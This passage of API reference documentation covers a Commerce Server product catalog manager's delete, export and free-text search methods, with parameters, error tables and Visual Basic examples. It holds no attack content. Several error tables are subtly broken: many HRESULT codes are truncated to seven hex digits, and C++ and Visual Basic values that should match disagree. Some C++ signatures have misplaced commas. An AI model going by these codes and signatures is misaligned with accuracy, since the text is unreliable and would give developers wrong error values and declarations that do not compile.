E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters: " [ ] , ' ( )#. You should not use these reserved characters.
E_CAT_CATALOG_EXPORT_IN_PROGRESS | [C++] 0x88980058 [Visual Basic] &H88980058 | The catalog you specified is currently being exported or imported. This catalog or its associated languages cannot be deleted.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method cannot be called in a transacted object. This method involves the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.DeleteCatalog "OurStore"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateCatalog

[Visual Basic] CatalogManager.CreateCatalog


ICatalogManager3::DeleteDefinition Method [C++]

CatalogManager.DeleteDefinition Method [Visual Basic]

Use this method to delete a definition from the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::DeleteDefinition(
  BSTR strDefinitionName,
  VARIANT_BOOL fForceDelete
);
[Visual Basic]
Sub DeleteDefinition(
  strDefinitionName As String,
  Optional fForceDelete As Boolean
)

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the definition to be deleted.
strDefinitionName [Visual Basic]
A String that contains the name of the definition to be deleted.
fForceDelete [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether to force a deletion. A value of True indicates that the definition should be deleted even if it is currently being used in a catalog. A value of False indicates that the definition should only be deleted if it is not currently being used in a catalog.
fForceDelete [Visual Basic]
A Boolean that specifies whether to force a deletion. A value of True indicates that the definition should be deleted even if it is currently being used in a catalog. A value of False indicates that the definition should only be deleted if it is not currently being used in a catalog. The default value is False.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H889800B | The Definition you specified does not exist.
E_CAT_DEFINITION_USED_IN_CATALOG | [C++] 0x8898000 [Visual Basic] &H889800C | You cannot delete the Definition because it is still being used by one or more Catalogs. To delete the Definition, first remove all products and/or categories based on that Definition from all Catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use a value of True for the fForceDelete parameter with caution, as the category or product definition, and all categories and products that are based on them in all catalogs will also be deleted. This could result in data loss.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.DeleteDefinition "T-Shirts", FALSE

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateCategoryDefinition

[Visual Basic] CatalogManager.CreateCategoryDefinition

[C++] ICatalogManager3::CreateProductDefinition

[Visual Basic] CatalogManager.CreateProductDefinition


ICatalogManager3::DeleteProperty Method [C++]

CatalogManager.DeleteProperty Method [Visual Basic]

Use this method to delete a property from the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::DeleteProperty(
  BSTR strPropertyName
);
[Visual Basic]
Sub DeleteProperty(
  strPropertyName As String
)

Parameters

strPropertyName [C++]
[in] A BSTR that contains the name of the property to be deleted.
strPropertyName [Visual Basic]
A String that contains the name of the property to be deleted.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A2 [Visual Basic] &H889800A2 | The PropertyName you specified is invalid. property Names cannot be blank and cannot exceed 100 characters. property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_PROP_DOESNT_EXIST | [C++] 0x88980005 [Visual Basic] &H88980005 | The property name you specified does not exist.
E_CAT_PROP_STILL_IN_DEF | [C++] 0x88980004 [Visual Basic] &H88980004 | The property you specified still resides in one or more Product or Category Definitions. To perform this operation, first remove the property from the Product or Category Definitions.
E_CAT_PROP_IS_ID | [C++] 0x88980011 [Visual Basic] &H88980011 | The property is currently being used as either the Product or Product-Variant unique ID column in one or more Catalogs. All Catalogs using this property as its unique ID must be deleted before this property can be deleted.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.DeleteProperty "Width"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateProperty

[Visual Basic] CatalogManager.CreateProperty


ICatalogManager3::DeltaExportXML Method [C++]

CatalogManager.DeltaExportXML Method [Visual Basic]

Use this method to export updated catalog data to an Extensible Markup Language (XML) file.

Definition

[C++]
HRESULT ICatalogManager3::DeltaExportXML(
  VARIANT vrXML,
  VARIANT vrTimeStamp,
  VARIANT strCatalogsToExport,
  VARIANT_BOOL fRunSynchronously,
  CatalogXMLFmtEnum eXMLFmt
  BSTR strLang,
);
[Visual Basic]
Sub DeltaExportXML(
  vrXML As Variant,
  Optional vrTimeStamp As Variant,
  Optional strCatalogsToExport As Variant,
  Optional fRunSynchronously As Boolean,
  Optional eXMLFmt As CatalogXMLFmtEnum
  Optional strLang As String,
)

Parameters

vrXML [C++]
[in] A VARIANT that contains the XML file name or IStream object that is the target of the export.
vrXML [Visual Basic]
A Variant that contains the XML file name or IStream object that is the target of the export.
vrTimeStamp [C++]
[in, optional] A VARIANT that contains the time stamp that specifies the limit of the export. The Variant can of type Cdate or a String that can be converted to a valid date.
vrTimeStamp [Visual Basic]
A Variant that contains the time stamp that specifies the limit of the export. The Variant can of type Cdate or a String that can be converted to a valid date.
strCatalogsToExport [C++]
[in, optional] A VARIANT that contains the catalogs to export. See the Remarks section for more information.
strCatalogsToExport [Visual Basic]
A Variant that contains the catalogs to export. See the Remarks section for more information.
fRunSynchronously [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread.
fRunSynchronously [Visual Basic]
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread. The default value is False.
eXMLFmt [C++]
[in, optional, defaultvalue (0)] A CatalogXMLFmtEnum enumeration that specifies the XML format. See the Remarks section for valid values.
eXMLFmt [Visual Basic]
A CatalogXMLFmtEnum enumeration that specifies the XML format. See the Remarks section for valid values.
strLang [C++]
[in, optional, defaultvalue ("")] A BSTR that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLang [Visual Basic]
A String that that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DATE | [C++] 0x889800C3 [Visual Basic] &H889800C3 | There was an error converting the date specified. Please specify a valid date.
E_CAT_INVALID_XML_FORMAT | [C++] 0x889800D9 [Visual Basic] &H889800D9 | The XML format that you specified is invalid.
E_CAT_FILE_CREATION_FAILED | [C++] 0x88980018 [Visual Basic] &H88980018 | The Catalog Export operation was unable to create the file you specified. Check that the file name you specified is valid and the directory that you specified exists and is not read-only.
E_CAT_IMPORT_IN_PROGRESS | [C++] 0x88980025 [Visual Basic] &H88980025 | This operation cannot be started because an import operation is currently in progress.

Remarks

If the strCatalogsToExport parameter is missing or contains an empty string, then all catalogs that have been changed since the specified time stamp are exported. Otherwise the strCatalogsToExport parameter is a comma-separated list of catalog names to be exported.

If the vrTimeStamp parameter is missing or contains an empty string, then the complete catalog or catalogs are exported.

If the strLang parameter is not specified then the default system language of the Web server will be used for multilingual properties.

The following table shows the values in the CatalogXMLFmtEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscFmtElementCentric | 0 | Export in Commerce Server 2000 format. (Default)
cscFmtAttributeCentric | 1 | Export in Commerce Server 2002 format.
cscFmtXDR | 2 | Export the Commerce Server 2002 schema as XDR. (No data)

This method runs in a separate thread. Prior to spawning the thread, it checks that there is not an existing ImportCSV or ImportXML method in progress. After the new thread is spawned, this method returns immediately, if the parameter fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.

Some characters are not valid in an XML attribute name. When a catalog is exported in the attribute-centric mode these characters are encoded in the form _xHHHH_ where HHHH is the hex value of the character. The following characters are encoded:

  • Back slash (\)
  • Forward slash (/)
  • Ampersand (&)
  • Left angle bracket (<)
  • Right angle bracket (>)
  • All characters in the range 0xF900 to 0xFFFE

Caution

  • If you call this method on a virtual catalog the resulting XML data will not include changes that are caused by changes in inclusion or exclusion rules. It will include changes inherited from a base catalog.
  • If you call this method from Visual Basic Scripting Edition (VBScript) with the fRunSynchronously parameter set to False, VBScript will unload the object as soon as the script ends. If the script ends before the spawned thread finishes exporting the catalog, it will be terminated prematurely and the catalog will not be exported successfully.

If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be stopped. Other methods should work after the interruption.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.DeltaExportXML("C:\MyXMLFile.xml", "2/27/01", "Clothes, Shoes", False, "ENU", cscFmtAttributeCentric)

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::ExportXML

[Visual Basic] CatalogManager.ExportXML

[C++] Table of Language Culture Names, Codes, and ISO Values

[Visual Basic] Table of Language Culture Names, Codes, and ISO Values


ICatalogManager3::ExportCSV Method [C++]

CatalogManager.ExportCSV Method [Visual Basic]

Use this method to export catalog data to a comma-separated values (CSV) format file.

Definition

[C++]
HRESULT ICatalogManager3::ExportCSV(
  BSTR strCSVDestination,
  BSTR strCatalogToExport
  VARIANT_BOOL fRunSynchronously
  BSTR strLang,
);
[Visual Basic]
Sub ExportCSV(
  strCSVDestination As String,
  strCatalogToExport As String
  fRunSynchronously As Boolean
  Optional strLang As String,
)

Parameters

strCSVDestination [C++]
[in] A BSTR that contains the full path and file name of the export file to be created.
strCSVDestination [Visual Basic]
A String that contains the full path and file name of the export file to be created.
strCatalogToExport [C++]
[in] A BSTR that contains the name of the catalog to export.
strCatalogToExport [Visual Basic]
A String that contains the name of the catalog to export.
fRunSynchronously [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread.
fRunSynchronously [Visual Basic]
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread. The default value is False.
strLang [C++]
[in, optional, defaultvalue ("")] A BSTR that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLang [Visual Basic]
A String that that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_CATALOGNAME | [C++] 0x8898006 [Visual Basic] &H8898003 | The Catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x8898004 [Visual Basic] &H8898002 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003 [Visual Basic] &H889800D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_LANGUAGE | [C++] 0x8898009 [Visual Basic] &H889800E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_FILE_CREATION_FAILED | [C++] 0x8898001 [Visual Basic] &H8898008 | The Catalog Export operation was unable to create the file you specified. Check that the file name you specified is valid and the directory that you specified exists and is not read-only.
E_CAT_IMPORT_IN_PROGRESS | [C++] 0x8898002 [Visual Basic] &H8898005 | This operation cannot be started because an import operation is currently in progress.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The ExportCSV method can be used to output product data from the Product Catalog System in a format that can be used in other programs, such as Microsoft Excel.

This method can only output product data from one catalog at a time.

The CSV file generated only contains products and product families. The categories, relationships, and hierarchy are not written to the CSV file.

If the strLang parameter is not specified then the default system language of the Web server will be used for multilingual properties.

This method runs in a separate thread. Prior to spawning the thread, it checks that there is not an existing ImportCSV or ImportXML method in progress. After the new thread is spawned, this method returns immediately, if the parameter fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.

If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be stopped. Other methods should work after the interruption.

Caution

  • If you call this method from Visual Basic Scripting Edition (VBScript) with the fRunSynchronously parameter set to False, VBScript will unload the object as soon as the script ends. If the script ends before the spawned thread finishes exporting the catalog, it will be terminated prematurely and the catalog will not be exported successfully.
  • Changes made to the catalog while an export is in progress may or may not be reflected in the output file. Additions and deletions made during the export could result in a corrupt file. Changes should be avoided during an export.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.ExportCSV "c:\exports\ourcatalog.csv", "OurStore"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::ExportXML

[Visual Basic] CatalogManager.ExportXML

[C++] ICatalogManager3::ImportCSV

[Visual Basic] CatalogManager.ImportCSV


ICatalogManager3::ExportXML Method [C++]

CatalogManager.ExportXML Method [Visual Basic]

Use this method to export catalog data to an Extensible Markup Language (XML) file.

Definition

[C++]
HRESULT ICatalogManager3::ExportXML(
  VARIANT vrXML,
  VARIANT strCatalogsToExport,
  VARIANT_BOOL fRunSynchronously,
  CatalogXMLFmtEnum eXMLFmt
  BSTR strLang,
);
[Visual Basic]
Sub ExportXML(
  vrXML As Variant,
  Optional strCatalogsToExport As Variant,
  Optional fRunSynchronously As Boolean,
  Optional eXMLFmt As CatalogXMLFmtEnum
  Optional strLang As String,
)

Parameters

vrXML [C++]
[in] A VARIANT that contains the XML file name or IStream object that is the target of the export.
vrXML [Visual Basic]
A Variant that contains the XML file name or IStream object that is the target of the export.
strCatalogsToExport [C++]
[in, optional] A VARIANT that contains the catalogs to export. See the Remarks section for more information.
strCatalogsToExport [Visual Basic]
A Variant that contains the catalogs to export. See the Remarks section for more information.
fRunSynchronously [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread.
fRunSynchronously [Visual Basic]
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread. The default value is False.
eXMLFmt [C++]
[in, optional, defaultvalue (0)] A CatalogXMLFmtEnum enumeration that specifies the XML format. See the Remarks section for valid values.
eXMLFmt [Visual Basic]
A CatalogXMLFmtEnum enumeration that specifies the XML format. See the Remarks section for valid values.
strLang [C++]
[in, optional, defaultvalue ("")] A BSTR that contains the culture name. that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLang [Visual Basic]
A String that contains the culture name. The default value is (""). The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_IMPORT_IN_PROGRESS | [C++] 0x88980025 [Visual Basic] &H88980025 | There was an existing import method call that had not yet completed. This method cannot run while an import is in progress.
E_CAT_FILE_CREATION_FAILED | [C++] 0x88980018 [Visual Basic] &H88980018 | The method was unable to create the output file.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the strCatalogsToExport parameter is missing or contains an empty string, then all catalogs are exported. Otherwise the parameter strCatalogsToExport is a comma-separated list of catalog names to be exported. If you specify a virtual catalog in the strCatalogsToExport parameter, a snapshot of the virtual catalog will be exported as a base catalog.

If the strLang parameter is not specified then the default system language of the Web server will be used for multilingual properties.

The following table shows the values in the CatalogXMLFmtEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscFmtElementCentric | 0 | Export in Commerce Server 2000 format. (Default)
cscFmtAttributeCentric | 1 | Export in Commerce Server 2002 format.
cscFmtXDR | 2 | Export the Commerce Server 2002 schema as XDR. (No data)

This method runs in a separate thread. Prior to spawning the thread, it checks that there is not an existing ImportCSV or ImportXML method in progress. After the new thread is spawned, this method returns immediately, if the parameter fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.

If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be aborted. Other methods should work after the interruption.

Some characters are not valid in an XML attribute name. When a catalog is exported in the attribute-centric mode these characters are encoded in the form _xHHHH_ where HHHH is the hex value of the character. The following characters are encoded:

  • Back slash (\)
  • Forward slash (/)
  • Ampersand (&)
  • Left angle bracket (<)
  • Right angle bracket (>)
  • All characters in the range 0xF900 to 0xFFFE

Caution

  • If you call this method from Visual Basic Scripting Edition (VBScript) with the fRunSynchronously parameter set to False, VBScript will unload the object as soon as the script ends. If the script ends before the spawned thread finishes exporting the catalog it will be terminated prematurely and the catalog will not be exported successfully.
  • Changes made to the catalog while an export is in progress may or may not be reflected in the output file. Additions and deletions made during the export could result in a corrupt file. Changes should be avoided during an export.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.ExportXML "c:\exports\ourcatalog.xml", "OurStore"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::ExportCSV

[Visual Basic] CatalogManager.ExportCSV

[C++] ICatalogManager3::ImportXML

[Visual Basic] CatalogManager.ImportXML

[C++] Table of Language Culture Names, Codes, and ISO Values

[Visual Basic] Table of Language Culture Names, Codes, and ISO Values


ICatalogManager3::FreeTextSearch Method [C++]

CatalogManager.FreeTextSearch Method [Visual Basic]

You can use this method to perform a free-text search of catalogs, however the recommended method to implement this functionality is the Search method.

Definition

[C++]
HRESULT ICatalogManager3::FreeTextSearch(
  BSTR strPhrase,
  VARIANT strCatalogsToSearch,
  VARIANT eClassTypeRequired,
  VARIANT strPropertiesToReturn,
  VARIANT strPropertyToSortOn,
  VARIANT_BOOL fSortAscending,
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** ppRSResult
);
[Visual Basic]
Function FreeTextSearch(
  strPhrase As String,
  Optional strCatalogsToSearch As Variant,
  Optional eClassTypeRequired As Variant,
  Optional strPropertiesToReturn As Variant,
  Optional strPropertyToSortOn As Variant,
  Optional fSortAscending As Boolean,
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional plTotalRecordsInQuery As Variant
) As _Recordset

Parameters

strPhrase [C++]
[in] A BSTR that contains the search phrase.
strPhrase [Visual Basic]
A String that contains the search phrase.
strCatalogsToSearch [C++]
[in, optional] A VARIANT that contains the catalogs to search in a comma-separated list. An empty string indicates search all catalogs.
strCatalogsToSearch [Visual Basic]
A Variant that contains the catalogs to search in a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired [C++]
[in, optional] A VARIANT that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
eClassTypeRequired [Visual Basic]
A VARIANT that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn [C++]
[in, optional] A VARIANT that contains the properties to return. This is a comma-delimited String.
strPropertiesToReturn [Visual Basic]
A Variant that contains the properties to return. This is a comma-delimited String.
strPropertyToSortOn [C++]

[in, optional] A VARIANT that contains the property on which to sort. This must be a property in the returned recordset. To search by rank, you must pass the FREETEXTSEARCH_RANK key to the strPropertiesToSortOn parameter. The FREETEXTSEARCH_RANK property indicates how well a row matched the search phrase. In this method, it can be used only of the strFTSPhrase parameter is specified. You can specify the FREETEXTSEARCH_RANK in the PropertiestoReturn parameter and also rank results by specifying it in the PropertiesToSortOn parameter.

strPropertyToSortOn [Visual Basic]

A Variant that contains the property on which to sort. This must be a property in the returned recordset. To search by rank, you must pass the FREETEXTSEARCH_RANK key to the strPropertiesToSortOn parameter. The FREETEXTSEARCH_RANK property indicates how well a row matched the search phrase. . In this method, it can be used only of the strFTSPhrase parameter is specified.

fSortAscending [C++]
[in, defaultvalue (-1)] A VARIANT_BOOL that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order.
fSortAscending [Visual Basic]
A Boolean that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord [C++]
[in, optional] A VARIANT that contains the number of the starting record to retrieve. A value of one (1) indicates the first record.
lStartingRecord [Visual Basic]
A Variant that contains the number of the starting record to retrieve. A value of one (1) indicates the first record.
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve beginning from the starting record. A value of minus one (-1) indicates return all records.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve beginning from the starting record. A value of minus one (-1) indicates return all records.
plTotalRecordsInQuery [C++]
[out, optional] A pointer to a VARIANT used to return the number of records returned in the search.
plTotalRecordsInQuery [Visual Basic]
A Variant used to return the number of records returned in the search.
ppRSResult [C++]
[out, retval] A pointer to a _Recordset object that will be used to return the query results.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the search results.

Error Values

If the method fails then no error will be returned. In case of an error ppRSResult will be set to Null. The error will also be written to the event log.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid
E_INVALIDARG | [C++] 0x8007005 [Visual Basic] &H8007007 | One or more arguments are invalid
E_CAT_INVALID_RETURN_PROPS | [C++] 0x8898011 [Visual Basic] &H889801D | The Properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_SORT_PROPS | [C++] 0x8898011 [Visual Basic] &H889801E | The Properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
S_FALSE | 1 | Error. The recordset will be set to NULL.
E_CAT_MULTI_CAT_QUERY_NEEDS_PROPS | [C++] 0x8898000 [Visual Basic] &H889800F | When performing a query against multiple Catalogs, you should specify the actual properties to return.

Remarks

[C++] The plTotalRecordsInQuery and ppRSResult parameters contain valid data only if the method completes successfully.

[Visual Basic] The recordset returned by this method contains valid data only if the method completes successfully.

The FreeTextSearch method is used to perform arbitrary lexical comparisons on words or phrases in one or more catalogs. The FreeTextSearch functionality in the Product Catalog System is based on full text indexing in SQL Server, and therefore, inherits keywords and operators from SQL Server for controlling the free text search.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
CscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

The search results for multilingual catalogs will be returned in a single language. The language will be selected differently depending on the number of catalogs specified in the strCatalogsToSearch parameter. If a single catalog is specified, the results will be returned in the default language of the catalog. If multiple catalogs are specified, the results will be returned in the default system language of the web server. If a catalog does not support the selected language, data will not be returned for the language sensitive properties. The properties will be returned in the recordset.

Use the Search method to specify the search language and for doing a free-text search and a query simultaneously.

